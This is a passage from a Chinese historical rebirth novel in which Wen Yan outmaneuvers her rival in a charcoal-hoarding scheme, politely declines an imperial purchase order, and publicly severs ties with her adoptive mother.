她见不少外地的寒门学子,买不起笔墨纸砚,便借着做折扣活动的时机,大力宣传店里的抄书生意。 那些抄书的学子里,好几位成名入仕,几年后闻颜用那些书赚了不少钱。 那段时间她店里的生意虽然好,但赚到的钱,其实都以抄书的形式支援那些贫寒学子了。 佩儿偷笑出声,“闻如月肯定被我们榨干了,所以才这么着急赚钱。” 闻颜往手上哈着热气搓了搓:“她当然缺钱了,毕竟冬天马上就到了。” 她已经猜到闻如月想干什么。 她想囤炭。 等到冬日,再转手卖出去。 说实话,闻颜打心底希望闻如月能多赚些银子的。 这样,她那么多炭才有销路啊! “小姐快暖暖手。”佩儿连忙将一个汤婆子塞到闻颜手里,“我说给您烧个炉子,您怎么就不许呢?咱们又不是用不起炭,晋阳府那边……” “炭还是省着点用吧,这个冬天不好过。”闻颜喃喃道。 佩儿对闻颜说的寒冬持怀疑态度:“小姐,今年真的会是寒冬吗?再有半个月就是冬至了,往年这个时候都下雪了,今年还只有一点点冷。” 入冬之后,天黑得格外早。 酉时刚过,街上也没几个人了,更别说街上的铺子了,有的已经打烊歇业了。 津平侯府的马车,缓缓停在妙笔斋门口。 她是特地掐着时间来到‘妙笔斋’的,就是为了验收今日的折卖成果。 掌柜一见闻如月,眼神就有些闪躲。 不过,闻如月一心想着数银子,根本没注意到掌柜的异样。 她一比一拓印了闻颜前世的折卖方式。 前世,闻颜能借着这次促销赚得盆满钵满,自己为什么不可以? “掌柜的,把账本和今日收到的银子,都拿到账房来吧。”闻如月步态轻盈优雅地往账房而去。 掌柜擦了擦额头上的冷汗。 闻如月的丫鬟催促他,才抱着东西跟进账房。 片刻之后,就听账房里突然传出‘啊……’的一声惨叫。 一阵叮铃当啷的响动过后,便是掌柜压抑着痛苦,求饶的声音:“夫人,不是我们不努力,是生意真的不好,我们也没办法啊!” 账房内。 铺匣子掉在地上,散碎的银子、铜钱掉在地上。 掌柜额头被砸出一个血窟窿,此刻正往外咕咕冒血。 “借口!怎么可能没办法!我们都搞促销活动了,几乎是一比一拓印的,她都能成功,为什么我不可以!” “我花银子请你来是做掌柜,不是让你来混吃等死的。 我花这么大的力气宣传折卖,结果一天下来就五十两的营业额? 呵呵,这点钱还不够我今日请舞狮队的。” 掌柜脸的血糊住了眼睛,他却不敢擦,躬着腰,胆战心惊地解释:“实在是‘一点墨’的名声太大了。 它开业的时候闹出那么大的阵仗,全京城无人不知无人不晓。 京城里的人为了买笔墨纸砚,首先想到的就是它。 不止我们争不过它,京城里好多老字号的笔墨铺子,生意也受到巨大影响。” “一点墨!又是一点墨!还真是阴魂不散啊!”闻如月把拳头捏得死紧,喝斥掌柜的:“还不快滚!” 掌柜如蒙大赦,飞快地离开了账房。 她盯着还没离开的丫鬟,恶狠狠地道:“还不走,留在这里看我笑话吗?” 丫鬟吓得瑟瑟发抖,低着头跑了出去。 房间只剩闻如月一人。 “该死的闻颜,你为何要阴魂不散! 你等着,我是不会让你好过!” 她气得砸了账房里所有能砸的东西。 待她发泄够了。 闻如月又开始思考起来。 今年是一个寒冬,京城里那些权贵人家,拿着银子都没地方买炭。 丞相的母亲体弱,他为了给母亲御寒,拆了半个家的木具。 即便这样,他母亲的身体也落下病根,没过两年就驾鹤西去了。 只要自己囤到足够多的炭,不仅能大赚一笔,能借机获得许多人情。 偏偏,她去晋阳府倒卖粮食失利。 不仅没赚到钱,加上各方打点,她甚至还亏了好几千两。 所剩不多的银子,除了买‘素冠荷鼎’,她还拿了一部分去孝敬兰贵妃。 如今,她的傍身银子,已经不足两千两了。 她便想着,趁着这次促销捞上一笔钱囤炭。 没成想,她精心谋划,却竹篮打水一场空。 眼看天气日渐寒冷,再不囤炭,就要错过时机了。 闻如月经过一番激烈的思想斗争,最后把掌柜叫了进来。 “你过来。”闻如月把掌柜叫到身边,对他低声耳语几句,将仅剩的两千两银票给他。 “此事你若还办不好,‘妙笔斋’的掌柜之位,你也别再做了。” 掌柜连忙应是,恭敬地退出了房间。 两千两银子的炭,不够她逆天改命,但至少能结交到一些重要人脉。 不过,看着大好的赚钱机会,就这样从指缝中溜走,闻如月就像被人剜了心一般的疼! 第301章:不争不抢怎么有妻子 天气日渐转冷,时间一晃而过。 眨眼间。 闻颜已经闭关大半个月时间。 毛笔勾勒出最后一画,闻颜终于放下了毛笔。 她站起身,舒服地伸了懒腰:“总算是画完了。” 看着厚厚的一沓画稿,也不枉费她这段时间的勤奋努力。 “小姐可算是能好好休息几天了。”佩儿把一盘点心塞到闻颜手里,又绕到她身后,替她捶着背,“对了,崔叔说几件样衣已经到了,请您过去看看,是否需要修改。” 闻颜道:“样衣全部做出来了?” “全做出来了。庆川公子已经来挑过款式,绣娘已经开始赶工了。” “制作的绣娘忙得过来吗?还有鞘皮的工匠够不够?” “放心吧,我都按照您的交代安排下去了。 现在松山村大半的婶子都接了我们的活在做。 她们每天都在八卦亭里,一边缝制衣服一边聊天,可热闹了。 制作颜料的几位叔叔也在学着鞣制皮草。 姑爷觉得皮草气味大,你会不喜欢,就又加盖了一个作坊,鞣制皮革都搬到那边去了。” 佩儿絮絮叨叨,说着这段时间的事。 闻颜快速把京城这边的事处理完,就回了一趟松山村。 闻颜一下马车。 八卦亭里的婶子们都迎了出来:“哎呦,是举人娘子回来了。” 闻颜笑着跟大家打了招呼,就跟他们在亭子里聊了一会儿天。 闻颜看她们缝纫,便教了几个小技巧。 婶子们试过之后,顿时高兴道:“这样缝果然又快又结实,针脚还美观。果然是举人娘子,懂的就是多。” 闻颜笑了笑,又跟他们聊了几句,就听嫂子哎呦了一声:“瞧,是应举人回来了。” 闻颜顺着路看过去。 只见他一边往家走,一边朝这边看过来。 两人四目相接。 应知林脚步轻快地跑向闻颜,他含笑看着她:“你回来了!” 应知林笑得太明媚,晃得闻颜眼晕。 一旁的婶子捂着胸口,‘哎呦’直喊,“我头一见看见应举人笑,这笑要迷死谁哦!” 应知林面露尴尬,悄悄挪步躲到闻颜身后。 他伸手扯了扯闻颜的衣袖,朝她投来一个求救的眼神。 难得看到他如此窘迫的样子,闻颜朝婶子们挥挥手,就拉着应知林回院子了。 回到院子里,应知林就恢复了平时的温文儒雅:“刚才谢谢你,我不太擅长跟婶子们打交道。” 闻颜忍着笑,说道:“婶子们的热情,确实让人难以招架。” “哦对了,前几日有你的一封信,走,我拿给你。”应知林拉着闻颜回到卧房。 应知林从闻颜的梳妆匣子里,拿出信封,递给闻颜:“喏,就是这个。” 闻颜看见信封上的字迹,就笑了起来:“是迟飞姐姐寄回来的。” 她迫不及待地拆开信封,一目十行地读起来。 闻颜越看越高兴:“太好了!迟飞姐姐要回来了,希延哥哥也和她一起。她们还让我去城门口接她。” 最重要的是,第一批炭,已经运到孟家在京郊的庄子上了。 这样一来,她就能赚闻如月的钱了。 “她们哪日到?到时我陪你一起去。” “她们还有大半个月呢。不过陪同就不用了,你现在正是读书的紧要时候,是应当以学业为重。” 应知林眼睛眨了眨,眼中立刻漫出一层水气,失落道:“那……那好吧。” 他低着头,转身就往外走。 那背影,明明很宽大,可闻颜看着却那么的落寞孤独。 闻颜想到他的成绩经历,于心不忍:“那个……你那天要是不忙的话,就陪我一起去吧。” 应知林猛地转身,脸上全是欣喜:“真的吗?你真的愿意带我去?” 他笑起来眼睛半眯,眼睛里的水气就凝成了水珠,顺着他的眼角滑落。 那小模样,坚强中带着脆弱,脆弱中带着破碎,破碎中又带着倔强。 闻颜的心脏瞬间被什么击中,好想拍拍他的背,好声安慰他。 闻颜点点头:“只要你有空,我就带你去。” “谢谢你。闻颜。”应知林笑得单纯无害,仿佛闻颜的肯定给了他莫大的勇气。 闻颜倒吸一口气。 应知林这家伙也太犯规了吧! 她连忙拿出手帕盖在他的脸上,“你擦擦脸吧。” 再看上去,她怕自己会忍不住摸他的头。 应知林捏着她的手绢,垂眸含笑,眼神里藏着不易察觉的志在必得。 “哟,这里怎么茶香四溢啊!”辰七哥不知何时出现在窗外,单手支颐,似笑非笑地看着应知林。 闻颜也早不知所踪。 “你少管闲事。”应知林脸上的无害表情瞬间收起,他用手帕擦去脸上的痕迹,“不争不抢,不用点小技巧,怎么追到喜欢的女子。” “虽怪我没提醒你,装可怜可以,但是别碰颜颜的底线,否则她一辈子不会搭理你。” “有空教训我,不如去多练练拐吧,否则以后找不到媳妇,只能看着我和闻颜这对恩爱夫妻。” 因为第一批炭到了。 闻颜只在家里住了一夜,就匆匆离开了。 她先去孟家的庄子上,确认炭的数量。 随后就回京城去安排布置。 当天下午人,闻如月在侯府花园里散步时,就听见敬明媚正在丫鬟杜鹃去采购木炭。 杜鹃道:“小姐,咱们真的要采购那么多炭吗?我们手里的银子恐怕不够了。” “不够就去我哥哥的钱庄里借一些。今冬的气候不正常,万一是个寒冬,咱们就能趁机大赚一笔。 说不定还能借机搭上一些达官显贵。 你快去,那个供炭商带的都是好炭。 他是北边来的,急着出货,赶在大雪封山之前回家。 我们动作稍慢,他就会出货给别人了。” “好的,小姐,我这就去安排。”杜鹃说完,就跑着离开了。 闻如月急得跳脚。 她好不容易有个生财之道,怎能让别人抢了先! 说不定,她盯上的那些人脉,也要被敬明媚抢走。 她立即吩咐身边的丫鬟:“快去,跟上杜鹃,把炭商的住处打听到,知道吗?” “是。”丫鬟应了一声,就出去了。 闻如月也回到院中,开始清点自己的嫁妆。 她要挑一些值钱,准备变卖成钱。 对了,敬明媚都能找她哥哥借,自己也可以找夫君和娘家借啊! 第302章:女恶霸 “你问我拿银子?”霍耀行很是惊讶地看向闻如月。 前世都是闻颜赚银子给他花。 自从嫁入侯府,闻颜就未花过侯府一文钱,甚至她赚来的钱,随意他拿去打点关系。 十几年如一日从未有过抱怨。 如今闻如月嫁过来不足一年,就开始向他伸手要钱了。 他如今有一丝后悔,不该因为闻如月蠢笨好控制,就放弃闻颜选了她。 再一想到,闻颜对应知林的关心和维护,他心里就越的发不舒服了。 不过,他倒没有因此撕破脸。 强挤出笑容,问闻如月:“你要多少?” 闻如月眨巴着眼睛:“姑娘家嘛,当然是越多越好啊。” 霍耀行深吸一口气,闭上眼睛没敢看她做作的样子,让人拿了一千两银票给她:“看上什么首饰头面,只管买就是了。” 怎么才一千两! 闻如月撅了撅嘴,在心里嫌弃霍耀行小气。 前世随便给她的,都是四五千上万两。 但她表面还是一脸欢喜地接过。 “谢谢夫君。”闻如月在霍耀行脸上‘叭唧’亲了一口,就欢喜地跑开了。 霍耀行这边收获不大,闻如月转头就让人套了马车,回娘家去。 肥水不流外人田,这么好的赚钱机会,当然是要带着娘家一起。 只要把大多数的炭捏在自己手中,她就能成为京城新的王者。 木炭因为品相、燃烧时长、出烟程度而价格不一。 闻颜千里迢迢运过来的炭,都是最高品质的。 按照种类不同,从十文到百文一斤不等。 这次运来的,全是高档货,普通的炭都在后面慢慢运。 三日之后,闻颜的第一批木炭,就被闻如月从敬明媚手中抢走。 炭商趁机坐地起价。 两万斤炭,换成一千一百五十两现银,送到闻颜手里。 闻颜把钱收好,每人发了一两银子的赏钱,才询问运炭过来的领头:“后面还有多少炭?你们是怎么计划的?现在就回去运其他的吗?” ‘炭商’知道,眼前这位看似柔弱的小姑娘,才是他们真正的东家。 他们这些晋阳府穷苦人的生机,都是她给的。 许多家庭,都因为他们收炭,而勉强活下去。 ‘一点墨’在晋阳府,已经是百姓最信任的店铺。 他当即一五一十地答道:“林掌柜收了近百万斤木炭,他让我们送到货之后,先不着急回去,等大部队汇合之后,再一起走。” “这么多炭!怎么送过来?”闻颜都没法想,一百万斤炭需要多大的仓库来存放。 ‘炭商’道:“我们前面几批,为了赶速度,是用牛马车运过来;剩余的是由林掌柜亲自带队,雇人用板车推过来。” “用板车推过来!”佩儿吃惊,“几千里路,他们推着板车要走到什么时候?那些百姓愿意吗?” ‘炭商’道:“有什么不愿意的。每人跑一趟,能得一百五十斤杂粮,或者三百斤杂粮饼,一家子省吃俭用,能撑大半年了。 大家都抢着干的。 没抢到的都难受死了。” 想到晋阳府的人连饭都吃不上了,会接这样的话,就觉得合情合理了。 既然林叔他们都安排好了,闻颜就没再过多询问。 让他们先在孟家的庄子上暂住着,一切等其他的炭抵达再议。 半月时间,眨眼就过。 转瞬就到了孟迟飞他们抵京的日子。 应知林提前一天向书院请假,陪着闻颜一起去迎接孟迟飞。 抵达当天。 应知林起了个大早。 他将自己的衣裳全部拿出,左挑挑右选选,也没选出满意的。 最后找闻颜给他参谋。 闻颜看看应知林,又看看那些衣裳,率先将那些款式复杂,带着图案的先挑了出来:“你的长相本就绝色,再穿花里胡哨的衣裳,就会显得过于精致,会有脂粉气。” 她挑出一身平织的墨绿长衫,里面的中衣换成黑色,腰带挑了一条丹霞红的宫绦,再配一块玉珏。 “喏,就这一身吧,你去换来给我看看,不合适的地方再改。” “好。”应知林抱着衣裳,就去了屏风后面。 屏风后很快就传来衣料摩擦的沙沙声。 闻颜坐在窗前饮茶,听见声音看过去,就见半透的屏风后面,白色的肌肤,宽肩窄腰,猿臂长腿若隐若现。 他往屏风上搭衣服,身体前倾,胸膛便贴在了屏风的薄绢上。 模糊的胸膛瞬间变得清晰。 饱满的胸肌呼之欲出,仿佛下一秒就要冲破绢布的禁锢而出。 这画面,实在香艳。 闻颜感觉鼻尖一热,摸了摸鼻子,还好还好,没流鼻血。 意识到自己的行为,就像无赖众看寡妇洗澡,闻颜连忙别开目光,歪头看着窗外,往嘴里塞了一大块点心。 结果因为吃得太急,把她呛到了。 “咳咳……” 闻颜呛咳起来。 “你怎么了?”应知林急匆匆跑了出来,连衣服都没穿好。 见她脸颊泛红,十分慌张。 “是被噎住了吗?你快站起来,弯腰,我帮你按肚子,把东西吐出来。” 应知林动作特别迅速,闻颜还没反应过来,他就一手按压她的腹部,一手拍她的背顺气。 “痛痛痛……”闻颜手舞足蹈,一把揪住他的衣服制止,“我没有噎住,你松开我。” 应知林猛地住手,尴尬地往后退后,结果闻颜拽着他的衣服。 他又只能走回来。 闻颜的手就顺手滑进他怀里,贴上他温热的肌肤,哧溜一下滑到底。 应知林猛地并拢双腿,捉住她的手腕。 好险,就差一点! 两人都松了一口气。 “啊……那个……”闻颜虽然尴尬,但还是壮着胆子,瞄了一下衣服里的风景。 应知林捕捉到她目光的流动,双肩后扩,衣襟自然往两边松开,露出更多闻颜相看的东西。 闻颜不是第一次看他的身体,仍然觉得他身材很好。 不得不说,应知林的皮相非常完美,脸蛋漂亮,身材结实有料。 他要不是读书人…… 闻颜强迫自己移开目光:“抱歉,我不是故意轻薄你的。” “该说抱歉的人是我,是我没穿好衣服,……”应知林连忙把衣裳拉好,转过身去,一副被闻颜占了便宜的委屈样子。 闻颜嘴角抽了抽,怎么搞她才像那个调戏良家妇女的恶霸。 第303章:烂泥扶不上墙 应知林手忙脚乱地整理好衣裳,然后拿着一根头绳,问闻颜:“头发用这个扎起来就可以了吗?” “用这个吧。”闻颜拿出一根款式简单的白玉簪。 “好。”应知林接过簪子,给自己梳头。 但他试了好几次都失败了。 闻颜看不下去了,接过篦子:“我帮你吧。” 闻颜拢起他的头发,露出应知林红透的耳朵。 闻颜憋笑。 肯定是刚才不小心碰到他,让他害羞了。 真有意思,他平时装得成熟稳重,在能够依赖的人面前,却很容易露出真实的情绪。 还真是,怪可爱的。 闻颜手巧,没几天就把他的头发梳得精致又结实。 插上白玉簪,一个简约利落的发髻就梳好了。 应知林站起身,在闻颜面前转了个圈:“我这样穿合适吗?” 闻颜对自己的审美满意极了:“合适极了。” 深色衣裳,让他看起来更加的沉熟稳重,再搭配他一身儒雅的气质,绝美的五官,简直是少女杀手。 闻颜已经能想象到,一会儿他迷倒万千少女的样子。 “我的眼光你不信啊,走,我带你去给别人瞧瞧。”说着,闻颜就拉着他在自家院子里逛了一圈。 大家都夸他这么穿好看。 就连看不见的五婆婆,也赞他:“知林长得俊,怎么打扮都好看。” 应知林很快就被夸得不好意思,脸颊都泛起了红晕。 收拾妥当,二人就一起朝京城赶去。 夫妻俩一起出行,就没让佩儿跟着了。 应知林在外面驾马车,闻颜就坐在车门边陪他。 同他有一搭没一搭地说话。 应知林让他往回赶:“外面风大,你的皮肤娇嫩,很容易吹得龟裂,会很疼。” 闻颜把大兜帽罩在头上:“这样就不冷了。距离这么远,我陪你说会儿话吧,时间也好打发一点。” 闻颜拿出羊皮手套、帽子和耳罩给他戴上,让他不至于受冻。 马车达达地朝京城而去,午时前他们抵达京城。 他们并未进城去,就在城门口等候。 闻颜在众多马车里,发现了孟家的马车,她拉着应知林过去打招呼。 城门口已经人山人海。 京中百姓知道赈灾功臣孟希延今天抵京,他们早早就守在城门口欢迎他。 刚到午时。 一大队人马就朝城门口行来。 达达达的马蹄声,整齐的步伐声。 闻颜跟随着众人的目光看去,一眼认出领头的两人。 正是孟希延和孟迟飞兄妹。 闻颜朝他们挥手。 孟迟飞也看到了闻颜,朝她眨了眨眼睛,比了个只有彼此知道的手势。 队伍抵达城门口,例行检查。 这时,城门口一阵骚动。 就见一辆马车出城来,后面还跟着一支仪仗队。 看那依仗的规格和形制,应该是来自宫中。 莫非…… 马车停稳。 小太监上前打起车帘子。 就见一对穿着帝后朝服的夫妻,从中走出。 竟然是当今帝后。 众人连忙齐齐下跪行礼,山呼万岁的声音响彻云霄。 皇帝抬了抬手,让大家起身免礼。 “孟爱卿,此次你去赈灾,不仅将灾民控制在晋阳府内,没有让流民外逃造成暴乱,还很好地控制住了灾民的死亡人数。 此次,你功不可没……” 皇帝对孟希延好一番夸奖,众人都看得出来,皇帝对孟希延的喜爱。 孟家功高盖主,京中权贵都觉得皇帝正在找时机对他们下手。 可如今看他对孟希延的喜欢,恐怕孟家还能再荣华富贵好几年。 眼看大家都要散了。 这时,孟希延的队伍里,突然站出来一个人,跪在孟希延的旁边,大声道:“皇上,虽然此次孟希延赈灾功不可没,但是还有一个人,也在此次赈灾过程中,发挥了重要的作用?” “哦?”皇帝兴味地看向他,“你说的是谁?她又做出了什么功绩?” 那人站起来,在人群里看了一圈,最后指着闻颜:“就是她,闻颜。 她在晋阳府开铺子收炭,让晋阳府的很多百姓有了收入。 今年秋季,她的铺子收了近百万斤炭。 此举帮助孟希延稳定民心,起到了至关重要的作用。 可是留下了许多准备外逃的百姓。” 闻颜看着指着自己的人,那不是元小头领吗? 这个冒失鬼。 众目睽睽之下,干嘛把自己点出来。 收炭的消息传到霍耀行耳中,他会不会起疑? 皇帝皇后也看向闻颜。 元小头领连忙朝闻颜招手:“你过来啊!快点!” 闻颜只得硬着头皮走过去。 众目睽睽之下,她行了个大礼。 “免礼吧,快起来。天寒地冻的,可别把小姑娘的膝盖冻坏了。” 皇后笑盈盈地说着,轻轻抬了抬手,她的宫女上前将闻颜扶了起来。 闻颜低眉垂眼,一副恭敬聆听的模样。 元小头领见闻颜事到如今,还不知道替自己表功。 他就气得心肝疼。 见她这副窝囊样,他就气不打一处来。 他们那个家,没有自己迟早得散。 元小头领恨铁不成钢,只得又叭叭地替她表功:“她的人在那边出了大力,出钱又出力,帮那边的人找出路。 烧炭就是她的人发起的,现在那边多了很多炭窑,好多百姓以炭易粮,不仅解决了温饱,还不至于受冻……” 他喋喋不休,把‘一点墨’在晋阳府做的事,如数家珍一般讲了出来。 皇帝听得眉头时舒时皱。 倒是皇后,一脸欣赏地看着闻颜:“孩子,你是怎么想到这些办法的?” 闻颜蹲了个礼,才道:“回皇后娘娘的话,是迟飞姐姐一直挂记着那边的事,我跟着一起想办法,才有了这些点子。 刚好‘一点墨’书铺赚了些钱,便有了后面的结果,完全是误打误撞。” 元小头领抚额。 功劳都摆在眼前了,她还不知抓住。 她就不能把自己的功劳大吹特吹,然后再向皇帝求一个恩典,赏她一个乡君、县主之类的称号,也能让京城的人不敢再轻易诋毁她。 这个闻颜,简直烂泥扶不上墙。 他气得瞪了闻颜一眼,还想再帮她争取争取。 皇帝轻飘飘扫他一眼。 元小头领缩了缩脖子,不敢再吱声了。 第304章:抗旨 闻颜松了口气。 这家伙终于把嘴闭上了。 “小小女子,也有强大的力量。你与迟飞一文一武,都是不可多得的巾帼英雄。”皇帝夸奖道。 “谢皇上夸奖。”闻颜故作羞涩的低头行礼,正准备告辞,便听皇帝道,“你立了这么大的功,自当奖赏。 既然你收了百万斤炭,那今冬宫里的用炭,就从你这边采购吧。” 现场一静。 宫里那么多宫殿,各宫主子和宫女太监加在一起,有几千上万人。 每年冬天对炭的消耗本就是一个大数目,再加上其中的油水回扣,那是相当可观的一笔收入。 不少人都对闻颜羡慕嫉妒恨。 懊恼自己怎么没想到呢? 不过是去晋阳府收了点炭,不仅从皇帝手里赚到了银子,还得到皇帝赏识。 啧啧啧,京城这些权贵百姓,都是眼睁睁看着闻颜官宦千金,变成一文不值的村妇。 随后又看着她从泥淖中,一点点往上爬。 本以为,她攀上恭太妃已经是极限,没想到转眼又入了皇帝的法眼。 再有孟家加持,她那个举人夫君再努力些,啧啧啧,前途不可限量! 人群里,江心葵和闻如月站在一起。 闻如月气咻咻地跺了跺脚:“母亲,你看这个闻颜,怎么哪哪儿都有她。 今天真是让她出尽风头了。 而且,她手里还有那么多炭,岂不是要跟我们抢生意。” 江心葵安抚地拍了拍她的手:“你慌什么!她的就是我的。百万斤炭,宫里肯定要不完,剩下的就让闻颜全部送到我们手上。” 闻如月犹豫:“闻颜她会愿意吗?” “她还敢不愿意? 大不了我们就花点钱批发回来呗,还能让她吃亏?” 就在母女俩对那批炭志在必得之时,就听闻颜大声道:“民女不能从命,请皇上收回成命。” 江心葵母女脸色陡地僵住。 皇帝怔住。 皇后怔住。 元小头领也怔住了。 就连孟迟飞都拉了拉闻颜的衣袖:“你不要命啦,有什么话私下里再说。” 现场响起此起彼伏的抽气声,这个闻颜疯了吗? 泼天的富贵摆在眼前,她不仅不珍惜,还要往外推。 有病! 纯纯脑子病! 那些人恨不得上去推开闻颜,代替她接下那旨意。 太监大声喝斥:“大胆,你想抗旨吗?抗旨的罪可大可小,轻者杀头,重者诛连九族,你可要想清楚了。” 太监摇了摇头,闻小姐头脑灵活,但到底年龄太小,不懂得审时度势。 这不是让皇上颜面尽失,下不来台吗? 上一个敢在大庭广众之下,跟皇上唱反调的大臣,被发配到岭南,现在还在抓虫子呢。 江心葵也急死了。 闻颜自己找死,可别拉上闻家。 她在人群里,拼命给闻颜使眼色。 闻颜根本没注意到她。 闻颜一脸惶恐地跪下,行了个大礼,以头碰地:“民女不敢。 民女只是想到,宫中今年想必已经向京城周边的炭户采购到足量的木炭,若是再到我这里采购一分,宫中木炭就过盛了。”闻颜表面卑微害怕,说话的声音却坚定而沉稳。 她简直愁死了,这哪里是恩宠啊。 这分明是明褒暗贬,故意给她拉仇恨。 皇帝脸色一沉。 现场安静得落针可闻。 江心葵双腿一软,差点栽倒在地。 完了完了,闻颜这个贱丫头竟敢抗旨,她自己不要活了,也别牵连闻家啊! 江心葵慌得失去冷静,拔开人群就冲了出去,跪在地上,“皇上恕罪,是这丫头不懂规矩,不知这是欺君之罪,还请您饶过她的不敬之罪吧。” 江心葵‘砰砰’磕头,没几下额头就红了。 江心葵急得在她腰上掐了一下,呵斥道:“还不快磕头请罪,你自己作死不要紧,怎么敢牵连到闻家,我们饶不了你!” 闻颜心思电转之间,就有了决断。 她‘哎呦’一声大叫出来:“疼!母亲,您掐我做什么?” 江心葵连忙挤出一抹尴尬笑容,解释道:“娘不是掐你,娘只是太紧张,手上没轻没重。” 闻颜不轻不重地‘哦’了一声,就准备继续说炭的事。 江心葵急得抬手就朝闻颜打去。 闻颜看着打来的巴掌,她躲得过,也截得住。 但她没有躲,而是硬生生受了这一巴掌。 闻颜的眼圈瞬间就红了,她捂着脸,委屈地看着江心葵:“母亲,您为什么打我?就这么不相信女儿吗? 小时候明明的您很疼爱很相信我的。 我理解您,毕竟我不是您的亲生女儿。 可我也是受害者啊,当初身份一查明,我就想回到亲生爹娘身边。 是您和父亲不同意,说我在闻家长大,也算闻家的女儿。 我留下来了,可您为何不再信任我? 嫁衣之事如此;今日的事,亦是如此! 母亲,我好伤心啊,我到底做错了什么?让您如此的厌恶我? 如果说是我亲生爹娘使坏,故意调包了我和如月姐姐就罢了。 可是当年……” “你别说了!不许说了!”江心葵为了打断她,又朝闻颜扇巴掌。 闻颜低头擦泪躲开,挨那一巴掌是为了当弱者博同情,再挨第二巴掌就是犯贱了。 不过,那一巴掌根本就没落下。 半道就被应知林截住了。 应知林甩开江心葵的手:“皇上面前,你怎敢动用私刑。” 他张口就把问题给升级了。 江心葵想喝斥他,应知林却对闻颜点点头:“你想说什么,只管大声说出来。有我在,没人可以再碰到你第二下。” 闻颜像接受到了无限的勇气,继续道:“当年是您顶着十个月的肚子,去寺庙还愿,途中遇险早产,是我的亲生母亲,顶着同样十个月大的肚子,找人来救您,帮你请稳婆。 我亲娘本就临盆在即,身体不堪重负,也在前后脚生下了我。 是您嫌弃刚出生的闻如月皮肤青紫,丑得像只小猴子,认定白白胖胖的我才是您的孩子,将我抱走。 我自认我的爹娘没有对不起您的地方,您为何一而再,再而三的想冤枉我,不信任我。 嫁衣的时候,我明明跟您解释过,我没有卖嫁衣,您不信我。 还逼我在您母亲的生辰宴上,承认我卖嫁衣。” 闻颜说着说着,眼泪就扑簌簌地流下来。 第305章:不当吃不当喝 “母亲,我们以为就算我们不是血脉亲情,十几年的日夜相处,也该有些情分的。 您为什么要这样对我!是我哪里做错了吗?”闻颜捂着胸口,几乎要哭晕过去。 江心葵的脸色却黑得像抹了一层锅底灰。 当初孩子找回来后,她怕大家骂她,就有意无意在外透露,是张敢娘贪慕虚荣,偷偷换了她的女儿。 如今闻颜将所有事情抖落出来,她的谎言全都被拆穿了。 “你闭嘴,不许再说了!”她想扑过去捂闻颜的嘴,却被应知林挡开。 闻颜突然面对江心葵跪着,郑重道:“江夫人,既然您如此看不上我,那我们的关系就到此为止,就此别过吧。 如月姐姐回到身边孝顺您,我也想以柳家女儿的身份,回去侍奉我的亲生爹娘。” 说罢,她就对江心葵重重磕了三个响头,“这十几年的照顾,我下辈子再结草衔环。” 江心葵气得不行:“你说断就断,这些年我们在你身上花的钱,培养的精力,给你铺的人脉,你难道想一笔带过?不说别的,就连孟家也是因为我们闻家的身份才攀上的。” 闻颜靠闻家才拥有现在的一切,她凭什么能顺利脱身。 闻颜眼眶通红:“可是这些年……闻如月是早产,生下来很虚弱,是我爹娘花尽家产,四处寻医问药,才治好了她。 为了给闻如月买漂亮的衣服首饰,就连我娘生病,都舍不得看大夫。 虽然在钱财上并不对等,但是在用心程度上并不比你们少。 算了……” 闻颜苦笑着擦掉眼泪:“那么,就请江夫人将我这些年的花费清算出来,我就算是砸锅卖铁,也一定会把钱还给您。” “哪儿用得着你砸锅卖铁。”白夫人大步走了过来,“只要你能摆脱闻家,这份钱我来出。” “大嫂,还是我来吧。你们为了筹赈灾款家里该卖的都卖了,我手里还有银子,应该够支付闻家的养育费了。”孟家二婶也走了过来。 闻颜感激地看着她们:“义母,二婶婶,谢谢你们。” 二婶揉了揉她的头发,“我们看着你长大,怎么能看着你受委屈。” 白夫人转身去扶起江心葵,手上稍一用力。 江心葵只觉得手臂一痛,不过一个呼吸间,她的半边身体就失去了知觉,连声音都发不出来了。 “江夫人,凡事见好就收,别到最后收不了场。”白夫人笑眯眯的,眼睛里却全是威胁,“相信我,我在战场厮杀二十几年,对付你一个官宦主母,有的是力气和手段。” 江心葵不是第一次跟白夫人打交道,却是第一次被她威胁。 顿时生不起反抗之心,只能点头。 “江夫人这是同意了,你果然温柔识大体。”白夫人松开手。 江心葵瞬间跌坐在地。 白夫人回头向帝后行礼:“皇上,娘臣妇想请二位给闻颜做个见证,了结这一庄旧案。” 帝后对视一眼,皇后看明白皇帝眼中之意。 随即询问闻颜:“你真的要断了这门亲吗?” 闻颜用力点点头。 皇后又看向江心葵:“那你呢?也是一样的想法吗?” 江心葵不想,可她不敢反抗白夫人。 只得点头。 皇后当即派了一个宫女,让她跟着闻颜,把这件事处理完了,再回宫同她复命。 闻颜再次说起采购木炭的事。 皇帝见她冥顽不灵,都有些生气了。 皇后扯了扯他的衣袖,皇帝的怒气瞬间烟了回去。 皇后对他低语:“她特地提到京城周边的炭户,应该是怕宫中采购了她的炭,京郊的炭户就会断了收入。” 那些没了收入的人,不敢怪皇帝,却会把一切都怪在闻颜身上。 皇帝轻哼一声:“她倒是心善,什么都考虑周全了。” 就是没考虑到他的面子。 皇后笑得温柔:“那些炭户本就艰难,冬天更是难熬,若是连唯一的收入都没有,这个冬天恐怕就要难熬了。 你不是也心系百姓吗? 况且,敢当众拒绝你,这样直爽的性格不比那些一句话拐十八道弯的强?” 皇后三言两语,就把皇帝哄好了。 皇帝哼了一声:“看在你的面子上,我就饶她一回。” 就在众人以为闻颜这次死定了。 就听皇上道:“念在你心系周边炭户生计的份上,本次就恕你无罪。” “谢皇上不罚之恩,皇上英明睿智心系百姓,是万民之福。”闻颜连忙把马屁安排上。 皇帝哭笑不得,摆摆手问她:“你花那么多人力物力买回来的炭,卖不掉,岂不是要亏大本?” “回禀皇上,民女不亏的。 ‘一点墨’在筹赈灾银子的时候,已经打开知名度,这半年来,铺子赚了不少钱。 民女不敢撒谎,民女在‘一点墨’占技术分红,分到一些钱,再加上各方帮衬,才买下那些炭的。 而买回来的那些炭,民女也不愁往外卖,民女开了一间新铺子,正好需要大量的炭。” 皇帝哈哈一笑:“果然啊!你的性格虽与迟飞大相径庭,却一样的有勇有谋,敢想敢做。 既如此,朕就取消宫中采购炭火的旨意。 既然你有新铺子开业,告诉朕你的新铺的名字,经营什么?” “民女的小铺子,做些女子消遣的生意,名叫清风小楼。” 皇帝大手一挥:“笔墨侍候。” 周围文武百官的嘴角抽了抽。 来了来了。 皇上又来! 每次赏赐人,都是写一幅字。 一次二次,众人以为是皇帝重视此人。 时间一久,众人就看明白其中关窍。 